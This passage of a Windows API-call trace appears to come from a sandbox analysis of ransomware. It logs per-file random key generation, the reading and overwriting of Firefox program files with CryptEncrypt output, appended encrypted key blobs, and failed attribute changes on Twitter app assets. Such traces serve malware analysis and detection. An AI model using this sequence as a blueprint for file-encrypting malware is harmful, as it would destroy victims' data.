pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0215.819] SetFileAttributesW (lpFileName="\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\VisualElements_150.png", dwFileAttributes=0x80) returned 1 [0215.823] ReadFile (in: hFile=0x2238, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x8f20, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x8f20, lpOverlapped=0x0) returned 1 [0215.825] SetFilePointer (in: hFile=0x2238, lDistanceToMove=-36640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.825] WriteFile (in: hFile=0x2238, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x8f20, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8f20, lpOverlapped=0x0) returned 1 [0215.826] SetFilePointer (in: hFile=0x2238, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8f20 [0215.826] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.826] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfbe0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfbe0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.826] WriteFile (in: hFile=0x2238, lpBuffer=0x30dfbe0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfbe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.827] WriteFile (in: hFile=0x2238, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.827] CloseHandle (hObject=0x2238) returned 1 [0215.829] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0215.829] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0215.829] SetFileAttributesW (lpFileName="\\Program Files\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js", dwFileAttributes=0x80) returned 1 [0215.830] ReadFile (in: hFile=0x223c, lpBuffer=0x563108, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563108*, lpNumberOfBytesRead=0x2e1f9bc*=0xf5, lpOverlapped=0x0) returned 1 [0215.831] SetFilePointer (in: hFile=0x223c, lDistanceToMove=-245, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.831] WriteFile (in: hFile=0x223c, lpBuffer=0x570c48*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x570c48*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf5, lpOverlapped=0x0) returned 1 [0215.832] SetFilePointer (in: hFile=0x223c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf5 [0215.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.832] WriteFile (in: hFile=0x223c, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.833] WriteFile (in: hFile=0x223c, lpBuffer=0x30f6ab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.833] CloseHandle (hObject=0x223c) returned 1 [0215.836] WriteFile (in: hFile=0x2244, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.838] CloseHandle (hObject=0x2244) returned 1 [0215.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb030 | out: pbBuffer=0x30eb030) returned 1 [0215.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6940 | out: pbBuffer=0x30f6940) returned 1 [0215.946] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eba80 | out: pbBuffer=0x30eba80) returned 1 [0215.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0215.946] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea7f0 | out: pbBuffer=0x30ea7f0) returned 1 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6950 | out: pbBuffer=0x30f6950) returned 1 [0215.947] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80.png", dwFileAttributes=0x80) returned 0 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea8f8 | out: pbBuffer=0x30ea8f8) returned 1 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6990 | out: pbBuffer=0x30f6990) returned 1 [0215.947] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eaa00 | out: pbBuffer=0x30eaa00) returned 1 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0215.947] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eab08 | out: pbBuffer=0x30eab08) returned 1 [0215.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ae0 | out: pbBuffer=0x30f6ae0) returned 1 [0215.947] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180.png", dwFileAttributes=0x80) returned 0 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eac10 | out: pbBuffer=0x30eac10) returned 1 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0215.948] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eaf28 | out: pbBuffer=0x30eaf28) returned 1 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a60 | out: pbBuffer=0x30f6a60) returned 1 [0215.948] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb240 | out: pbBuffer=0x30eb240) returned 1 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a80 | out: pbBuffer=0x30f6a80) returned 1 [0215.948] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140.png", dwFileAttributes=0x80) returned 0 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec3c8 | out: pbBuffer=0x30ec3c8) returned 1 [0215.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0215.948] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec1b8 | out: pbBuffer=0x30ec1b8) returned 1 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a70 | out: pbBuffer=0x30f6a70) returned 1 [0215.949] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ecf20 | out: pbBuffer=0x30ecf20) returned 1 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69a0 | out: pbBuffer=0x30f69a0) returned 1 [0215.949] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ecc08 | out: pbBuffer=0x30ecc08) returned 1 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69b0 | out: pbBuffer=0x30f69b0) returned 1 [0215.949] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed340 | out: pbBuffer=0x30ed340) returned 1 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0215.949] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ead18 | out: pbBuffer=0x30ead18) returned 1 [0215.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ad0 | out: pbBuffer=0x30f6ad0) returned 1 [0215.950] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400.png", dwFileAttributes=0x80) returned 0 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ece18 | out: pbBuffer=0x30ece18) returned 1 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6910 | out: pbBuffer=0x30f6910) returned 1 [0215.950] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb978 | out: pbBuffer=0x30eb978) returned 1 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0215.950] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea6e8 | out: pbBuffer=0x30ea6e8) returned 1 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0215.950] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ede98 | out: pbBuffer=0x30ede98) returned 1 [0215.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ac0 | out: pbBuffer=0x30f6ac0) returned 1 [0215.950] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb558 | out: pbBuffer=0x30eb558) returned 1 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f51a8 | out: pbBuffer=0x30f51a8) returned 1 [0215.951] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb450 | out: pbBuffer=0x30eb450) returned 1 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5138 | out: pbBuffer=0x30f5138) returned 1 [0215.951] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150.png", dwFileAttributes=0x80) returned 0 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed448 | out: pbBuffer=0x30ed448) returned 1 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f50c8 | out: pbBuffer=0x30f50c8) returned 1 [0215.951] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb870 | out: pbBuffer=0x30eb870) returned 1 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5218 | out: pbBuffer=0x30f5218) returned 1 [0215.951] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea5e0 | out: pbBuffer=0x30ea5e0) returned 1 [0215.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5208 | out: pbBuffer=0x30f5208) returned 1 [0215.952] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125.png", dwFileAttributes=0x80) returned 0 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed028 | out: pbBuffer=0x30ed028) returned 1 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f51d8 | out: pbBuffer=0x30f51d8) returned 1 [0215.952] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea4d8 | out: pbBuffer=0x30ea4d8) returned 1 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5278 | out: pbBuffer=0x30f5278) returned 1 [0215.952] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ebc90 | out: pbBuffer=0x30ebc90) returned 1 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f51b8 | out: pbBuffer=0x30f51b8) returned 1 [0215.952] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec7e8 | out: pbBuffer=0x30ec7e8) returned 1 [0215.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5198 | out: pbBuffer=0x30f5198) returned 1 [0215.952] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ebfa8 | out: pbBuffer=0x30ebfa8) returned 1 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f50d8 | out: pbBuffer=0x30f50d8) returned 1 [0215.953] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eae20 | out: pbBuffer=0x30eae20) returned 1 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5168 | out: pbBuffer=0x30f5168) returned 1 [0215.953] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400.png", dwFileAttributes=0x80) returned 0 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed550 | out: pbBuffer=0x30ed550) returned 1 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f50e8 | out: pbBuffer=0x30f50e8) returned 1 [0215.953] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ebb88 | out: pbBuffer=0x30ebb88) returned 1 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f50f8 | out: pbBuffer=0x30f50f8) returned 1 [0215.953] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb660 | out: pbBuffer=0x30eb660) returned 1 [0215.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f51c8 | out: pbBuffer=0x30f51c8) returned 1 [0215.954] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200.png", dwFileAttributes=0x80) returned 0 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed238 | out: pbBuffer=0x30ed238) returned 1 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f51e8 | out: pbBuffer=0x30f51e8) returned 1 [0215.954] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb138 | out: pbBuffer=0x30eb138) returned 1 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5148 | out: pbBuffer=0x30f5148) returned 1 [0215.954] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ebea0 | out: pbBuffer=0x30ebea0) returned 1 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5108 | out: pbBuffer=0x30f5108) returned 1 [0215.954] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100.png", dwFileAttributes=0x80) returned 0 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec9f8 | out: pbBuffer=0x30ec9f8) returned 1 [0215.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5118 | out: pbBuffer=0x30f5118) returned 1 [0215.954] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea2c8 | out: pbBuffer=0x30ea2c8) returned 1 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f51f8 | out: pbBuffer=0x30f51f8) returned 1 [0215.955] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea0b8 | out: pbBuffer=0x30ea0b8) returned 1 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5158 | out: pbBuffer=0x30f5158) returned 1 [0215.955] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400.png", dwFileAttributes=0x80) returned 0 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ecb00 | out: pbBuffer=0x30ecb00) returned 1 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5178 | out: pbBuffer=0x30f5178) returned 1 [0215.955] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea1c0 | out: pbBuffer=0x30ea1c0) returned 1 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5228 | out: pbBuffer=0x30f5228) returned 1 [0215.955] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea3d0 | out: pbBuffer=0x30ea3d0) returned 1 [0215.955] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5238 | out: pbBuffer=0x30f5238) returned 1 [0215.956] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed658 | out: pbBuffer=0x30ed658) returned 1 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5188 | out: pbBuffer=0x30f5188) returned 1 [0215.956] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec0b0 | out: pbBuffer=0x30ec0b0) returned 1 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5248 | out: pbBuffer=0x30f5248) returned 1 [0215.956] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb348 | out: pbBuffer=0x30eb348) returned 1 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5258 | out: pbBuffer=0x30f5258) returned 1 [0215.956] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150.png", dwFileAttributes=0x80) returned 0 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec6e0 | out: pbBuffer=0x30ec6e0) returned 1 [0215.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5268 | out: pbBuffer=0x30f5268) returned 1 [0215.956] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.957] CryptGenRandom 